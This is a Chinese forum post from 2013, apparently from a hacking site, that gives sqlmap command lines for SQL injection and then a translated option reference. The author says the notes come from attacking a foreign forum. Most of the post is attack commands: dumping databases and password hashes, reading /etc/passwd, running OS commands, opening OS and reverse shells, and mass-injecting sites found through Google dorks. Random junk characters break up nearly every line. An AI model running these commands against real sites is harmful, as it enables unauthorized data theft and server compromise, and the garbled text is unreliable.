中国网络渗透测试联盟
标题:
sqlmap注入命令的使用方法
[打印本页]
作者:
admin
时间:
2013-4-4 22:26
标题:
sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
2 l8 J% ^7 E) G$ i- ^0 d3 R
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “
http://www.xxoo.com/news?id=1
″ –current-db #获取当前数 据库名称
. M3 g9 f2 L$ g4 B: K, \/ N
sqlmap -u “
http://www.xxoo.com/news?id=1
″ –tables -D “db_name”#列 表名
1 b1 X) F! U6 j
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
/ e! z3 b i3 E" i Q) {' A- S( u! X* Y
7 T4 f' ?' f3 w0 Y& \
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
8 _; Y4 _) @" B9 ^
0 #获取字段内容
) `+ T5 k* O7 e" w! Y+ a% C/ b) Q
8 k. I8 B& [( d t) }1 c' t+ ^
******************信息获取******************
" ~4 w' d* T- Q1 e
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
. J4 X- k) B* u
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
* E' R* x# q& n- b
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
+ [8 W: f" y) W( T
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
0 Y: q: B* H/ z; J% p: O! j
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
7 `1 Z7 L1 X3 U
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
) T. `$ d5 g; r; S4 P- i- u7 C
–start 1 –stop 20 #列出指定字段,列出20 条
9 a( r. Z$ b& P* o* l% H( H9 H0 Y
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
) v: T) v7 X6 l6 I
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
0 w4 j x4 w) l5 H8 Z" x* q
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
2 X S/ X4 U' R5 j
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
" L' p! W2 o# a+ z
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
5 X, w. P9 {; h8 |& C- Z) ]9 ?
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
' k' Z4 O/ Q" k5 W8 {- R8 i
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
1 N2 I# `6 T7 }1 ~
sqlmap -u “http://url/news?id=1″-b #获取banner信息
: l& f ^/ h7 h3 T( ?
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
( v+ {; `6 R; ?) z
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
. h. [% K% f$ ^, \; o; Y/ n
sqlmap -u “http://url/news?id=1″ –proxy“
http://127.0.0.1:8118
” #代理注 入
- P: S1 A( g& F! W$ e4 a9 F8 `% t
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
, S; S6 C- D% R r- g: D
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
( ~) N' P% {" w
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
2 Z q" p+ |0 h/ x
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
& @4 G3 b7 o" m7 s A
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
/ n# e0 [ Y5 q3 \
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
# A3 d$ t; ], S: {2 I3 I
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
+ r) L1 j! P: D8 e
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
_7 `+ R$ x4 @* P ]7 Y: P1 q* s, [
***********高级用法*************
- J4 _1 E; ^+ |' ] t* a$ M) G3 b# P
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
) B- g& L$ l9 J, [* j# u
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
' k ]& H+ n; E/ P* f
–technique 测试指定注入类型\使用的技术
( r, k+ y( D0 O6 F8 o5 E" q
不加参数默认测试所有注入技术
3 z' i- H) ]0 P3 J* W
• B: 基于布尔的SQL 盲注
, x0 Y9 y1 h/ I0 l3 C
• E: 基于显错sql 注入
* Y2 C/ ^9 S8 K5 f: l" h
• U: 基于UNION 注入
' q( L- a$ a7 y( T6 x- ]
• S: 叠层sql 注入
( Y9 x, K0 c+ J* _9 _; q, ^
• T: 基于时间盲注
% ~: Z; J$ p1 \
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
; }6 ~& P* S1 S E4 d1 t( I
–tamper 插件所在目录
0 ?( w$ ^$ U5 q2 `0 h R: M1 h
\sqlmap-dev\tamper
$ a) F2 s/ z6 L+ G* v
sqlmap -u “http://
www.2cto.com
/news?id=1″ –smart –level 3 –users # smart 智 能
/ E0 T) u7 `: H
level 执行测试等级 攻击实例:
* N" B- G2 ]0 ^2 e( k# g$ e/ ~6 Y
Sqlmap -u “http://url/news?id=1&Submit=Submit”
1 O/ O) H+ I$ l0 r3 l( Y
–cookie=”PHPSESSID=41aa833e6d0d
4 U5 g# |7 r/ P6 H% h1 H! ~
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
: N3 Q- F4 B J* A
–password
& z/ _/ ?; e# e9 Z
参考文档:
http://sqlmap.sourceforge.net/doc/README.html
" c6 x' z, a4 |! r1 `$ ^4 l: \
***********安装最新版本*************
9 b- w1 z9 v7 O( Q% { V- R1 u
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
. g9 n* Z$ n4 ?2 b; D7 L
sudo svn checkout
https://svn.sqlmap.org/sqlmap/trunk/sqlmap
sqlmap-dev
4 S& n1 l: e$ Q6 P( Z; Z3 ]3 c: H
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
" x& O5 f w, @# Q# }
sudo vim /home/当前用户/.bashrc
9 e4 b& ], n7 x6 r
#任意位置加上:
- K: u# ]3 C. ?+ u8 f0 H/ C
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
; }2 r- F3 j0 l9 l3 E& \
如果想对所有用户有效 可设置全局 编辑下面的文件
$ D: {: p; q0 N' m* I( O
vim /etc/profile
6 a, R* G7 i0 u- a0 M/ t u) y
同样加上:
" J& q9 T6 }( f
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
@, d Y7 x6 F' m9 L
******************windows 7 (x64) sqlmap install (SVN)************
; s8 ]7 l5 o/ p, ?; ?! Z
http://www.python.org/getit/
安装python
6 q, a* A7 I/ Z: Z. N) \
http://www.sliksvn.com/en/download
安装windows svn client
+ W6 {' ~5 ^# p% r
svn checkout
https://svn.sqlmap.org/sqlmap/trunk/sqlmap
sqlmap-dev
; n- v- Y0 { j2 r6 r3 l5 L( o
安装sqlmap
% l7 }$ w7 {# y" ?5 T
*修改环境变量
( f o' H# f! {2 r& t) l/ v) Z
–version 显示程序的版本号并退出
1 x& X5 J" s/ n
-h, –help 显示此帮助消息并退出
5 x8 o. z, r9 |/ X/ U% q
-v VERBOSE 详细级别:0-6(默认为1)
( _$ m* Y7 J* ^* L8 j# Z2 v' n/ C
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
/ h3 x9 Q" H+ E- w
-d DIRECT 直接连接到数据库。
5 D' ~4 ~4 T" q+ h1 {( @; n7 U) r+ {
-u URL, –url=URL 目标URL。
/ D5 H o3 r. E* J
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
- V( a4 e) o8 B' @1 ^4 q! q
-r REQUESTFILE 从一个文件中载入HTTP 请求。
( b1 z3 F" s! s2 E- Z
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
* Y( k' a% i# J7 i4 U7 Z' l
-c CONFIGFILE 从INI 配置文件中加载选项。
! M9 o2 e4 M$ u) r
Request(请求)::
( N6 ~ J6 Q4 k }0 P8 C. E) u
这些选项可以用来指定如何连接到目标URL。
j' ?* V) W+ a# U6 O
–data=DATA 通过POST 发送的数据字符串
3 j% u7 _* n# P+ y
–cookie=COOKIE HTTP Cookie 头
9 A6 d; Q& P; l6 I, \7 ^
–cookie-urlencode URL 编码生成的cookie 注入
- [ H* F# |0 ^. }1 O
–drop-set-cookie 忽略响应的Set –Cookie 头信息
/ G/ W" @! n/ L
* c# G9 W$ o8 F! y7 E
–user-agent=AGENT 指定 HTTP User –Agent 头
4 n6 M, R4 _ b
–random-agent 使用随机选定的HTTP User –Agent 头
8 m& s) H' C- i7 B T2 }
–referer=REFERER 指定 HTTP Referer 头
: k2 U* s6 A0 C- ?- a
–headers=HEADERS 换行分开,加入其他的HTTP 头
, M$ Y9 ?) n" K- B# F1 X% R
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
* G1 r! Q2 D! J8 m, l- G
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
7 F/ E2 k/ }1 h
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
, W! X5 S, |! g) H+ L; p
–proxy=PROXY 使用HTTP 代理连接到目标URL
! `9 ~3 R: M: T/ i% m
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
( b6 E. h3 W7 [9 ^7 J
–ignore-proxy 忽略系统默认的HTTP 代理
* N2 m5 X/ {& \
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
6 b# U& ]' k7 z1 {$ c( M' o
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
: Q, R W T6 R# z- ~- R) E
–retries=RETRIES 连接超时后重新连接的时间(默认3)
. O, }+ R4 _3 ^. d2 e) Q
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
0 L7 n) c/ f9 j }* T8 E
–safe-url=SAFURL 在测试过程中经常访问的url 地址
( x7 d& j4 Z+ F6 y$ H7 M
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
7 z# ~* M$ H6 m- v7 d8 ], z
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
' k, `" f5 J7 e. P
-o 开启所有优化开关
3 m2 ?+ v) \0 B7 t: h/ u* R
–predict-output 预测常见的查询输出
6 G# S2 t5 Q- h2 S7 [. j1 b# k
–keep-alive 使用持久的HTTP(S)连接
) j N+ R; ` a4 F( } Z) u0 Y
–null-connection 从没有实际的HTTP 响应体中检索页面长度
( E/ M2 @# J5 z3 U: _( d1 Q; G
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
* x* x! }6 n8 _" q( t+ K) g
Injection(注入):
7 b; Y/ e% x9 k, ~5 V
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
" H6 t, g3 [) c- ?, g# y+ ~
-p TESTPARAMETER 可测试的参数(S)
/ }5 @1 Q6 |+ B) Y
–dbms=DBMS 强制后端的DBMS 为此值
6 v" ? q! [. T B3 c" f
–os=OS 强制后端的DBMS 操作系统为这个值
" Q: B: _- F0 a: c) z' v* s! H2 L
–prefix=PREFIX 注入payload 字符串前缀
. R- y0 j. K- g, n7 u2 F4 K6 B' s
–suffix=SUFFIX 注入 payload 字符串后缀
2 {0 |; R7 G! q8 H
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
/ q5 g) ~, K( C) i7 D1 t* Y/ m
Detection(检测):
I+ B' u- s" s( ~# Y
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
, k2 Q. A8 L/ f8 A$ D% F
–level=LEVEL 执行测试的等级(1-5,默认为1)
/ m. G) |" Q" }8 G y- D# o4 X4 Q' B
–risk=RISK 执行测试的风险(0-3,默认为1)
$ `, C2 \( V9 B8 U+ K
–string=STRING 查询时有效时在页面匹配字符串
8 K, n, X: ?5 B
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
* w- G) ]+ O: A H
–text-only 仅基于在文本内容比较网页
3 R3 ]1 u3 L _8 ^; W
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
8 W5 I% H7 g0 @- K: r- E: g" k9 N# @
–technique=TECH SQL 注入技术测试(默认BEUST)
- x& S7 Y5 a8 u( L& d
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
: W6 `+ }9 c* R8 R: {1 y
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
|+ S# x% ~+ r' ` z
–union-char=UCHAR 用于暴力猜解列数的字符
) w, U w+ k3 Z C& H9 Y
Fingerprint(指纹):
( E2 b) k) w, T I' _
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
' m6 U$ `3 V* f: R& N
Enumeration(枚举):
- t' y" [7 D( m& h3 `3 y1 j$ x
; y5 J2 n5 O4 [* W! }; N
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
/ q9 |# z V$ s! [; `- [
-b, –banner 检索数据库管理系统的标识
+ y9 k1 m/ O" D- r9 J9 T: n
–current-user 检索数据库管理系统当前用户
8 R0 X: R, t& [( u5 }* D
–current-db 检索数据库管理系统当前数据库
, y8 W5 r1 h# E0 Z: d
–is-dba 检测DBMS 当前用户是否DBA
3 R% E: g1 w4 X4 F
–users 枚举数据库管理系统用户
s: f6 N* U0 c3 _5 J% O
–passwords 枚举数据库管理系统用户密码哈希
' j, g% m2 B- e) O& z- _9 |
–privileges 枚举数据库管理系统用户的权限
5 s6 i( W& t$ F' i* |9 A& @! K
–roles 枚举数据库管理系统用户的角色
8 S W$ v! d. K; t. }& A
–dbs 枚举数据库管理系统数据库
8 o e Z0 N8 P1 u; [" c* r
–tables 枚举的DBMS 数据库中的表
|& Q5 A* [$ V% O2 I
–columns 枚举DBMS 数据库表列
3 }3 v( P* C3 G8 \, \
–dump 转储数据库管理系统的数据库中的表项
' s' O9 ^) p5 M& _- N' U" n+ c0 Z
–dump-all 转储所有的DBMS 数据库表中的条目
: l" ]0 r: i6 U: A2 N1 Z- H9 W
–search 搜索列(S),表(S)和/或数据库名称(S)
( y# t, n7 f, x3 D+ M) o7 G2 G
-D DB 要进行枚举的数据库名
' \, E# u9 B+ s# b6 y n# y r& m
-T TBL 要进行枚举的数据库表
2 m/ n$ ?. T* S2 S' m5 e& l
-C COL 要进行枚举的数据库列
$ W4 h4 j* E- E( T: ?8 r) v% }" @$ g
-U USER 用来进行枚举的数据库用户
1 W" e, O2 r6 \) G; ]
–exclude-sysdbs 枚举表时排除系统数据库
. M2 o, `7 M/ K0 S* B) l
–start=LIMITSTART 第一个查询输出进入检索
6 {1 ?* t8 U s' j; l: Q& X
–stop=LIMITSTOP 最后查询的输出进入检索
2 i# t7 w) h; J: c
–first=FIRSTCHAR 第一个查询输出字的字符检索
' V7 R% S1 `3 W* D& @3 q! Y
–last=LASTCHAR 最后查询的输出字字符检索
, e7 T; W5 b$ C4 y0 ]
–sql-query=QUERY 要执行的SQL 语句
; d' }8 B1 u( n+ W/ I/ s% }
–sql-shell 提示交互式SQL 的shell
( D" \8 e5 T8 W2 t5 Y
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
' ~8 K+ u0 |$ _& x
–common-tables 检查存在共同表
' g& R. l% I8 v: n% P, j9 V
–common-columns 检查存在共同列
4 k' [2 S2 Y4 B1 V3 L
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
# b, f5 S4 B# [' i
–udf-inject 注入用户自定义函数
) }. z1 K1 j7 M7 @
–shared-lib=SHLIB 共享库的本地路径
; [. s! y) P) V* i w' W
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
6 A4 J; t, |* d, t
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
$ G1 E- ^) m3 R ~# m& r9 K, J
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
# F/ e8 i! C1 L
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
$ F. B7 r7 y8 f2 q( R
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
5 H6 g9 j( F0 D& J4 F* C
–os-cmd=OSCMD 执行操作系统命令
. D# u- f( z6 n' J* B' E$ `
–os-shell 交互式的操作系统的shell
0 p* F c$ I1 z* W( n
–os-pwn 获取一个OOB shell,meterpreter 或VNC
! v$ `6 I+ v& h0 h5 [& C! a1 t
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
( x2 \; W. H2 n! G5 h" f7 ~
–os-bof 存储过程缓冲区溢出利用
8 R% Z- m6 ^3 h! T; p' G5 n3 p# M6 Z
–priv-esc 数据库进程用户权限提升
" s+ X- {/ W; Z6 E7 C
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
) v3 g7 _! C$ V. T
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
5 {0 p, Y4 T. I" b* y7 r7 Q5 E
) s: f6 I0 u3 {* Z+ U, T
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
5 O" H6 U! C( K! o, n/ y; v# R/ f* q
–reg-read 读一个Windows 注册表项值
% H% g! `7 Y) t( ~& r1 r1 T8 O
–reg-add 写一个Windows 注册表项值数据
1 D. y; ^3 f; b
–reg-del 删除Windows 注册表键值
2 Z- O2 V2 a1 t2 ^9 U8 ? N
–reg-key=REGKEY Windows 注册表键
+ w9 B8 s0 b# ?4 `$ _# k1 o
–reg-value=REGVAL Windows 注册表项值
L9 v m3 P/ h, f/ M
–reg-data=REGDATA Windows 注册表键值数据
. t# d# {+ E. ]* ?- w- F
–reg-type=REGTYPE Windows 注册表项值类型
; w+ R0 n$ b; D. `" Y% v! {7 W5 E- K
General(一般): 这些选项可以用来设置一些一般的工作参数。
% z v& X+ S; R# \* }6 s6 c& U8 |0 h
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
9 a+ j2 `5 Q1 P: D
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
1 W0 s6 d8 o8 a" P# |' ^5 N
–flush-session 刷新当前目标的会话文件
- r% U0 G2 a! _9 u# u3 p$ s
–fresh-queries 忽略在会话文件中存储的查询结果
0 }2 H7 C3 Z. D. ~$ E
–eta 显示每个输出的预计到达时间
4 F9 o/ C- S3 C9 H$ P
–update 更新SqlMap
- G4 }" S9 S5 s* A9 i6 O9 ^
–save file 保存选项到INI 配置文件
$ J0 J6 b9 d f1 [
–batch 从不询问用户输入,使用所有默认配置。
, v. k4 z- d+ i7 K3 s4 R t
Miscellaneous(杂项):
) X2 z7 P( \$ i: Z! [& c& D
–beep 发现SQL 注入时提醒
" q; H8 P; @9 s" o
–check-payload IDS 对注入payloads 的检测测试
- V" S1 `4 u5 Z
–cleanup SqlMap 具体的UDF 和表清理DBMS
# _7 q; ?& o3 D' x/ }, S7 O/ {
–forms 对目标URL 的解析和测试形式
7 L* v! [" F* J* g& l
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
* P' d$ w$ f( X' C) E
–page-rank Google dork 结果显示网页排名(PR)
) D5 d/ T: _9 U' m m6 s" ^9 y
–parse-errors 从响应页面解析数据库管理系统的错误消息
5 A' l' j! C n5 i5 j( R8 j, {& B
–replicate 复制转储的数据到一个sqlite3 数据库
1 S/ |& t7 p2 I8 l
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
* n9 D! M" w" l& C: y4 d1 N( D! }
–wizard 给初级用户的简单向导界面
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2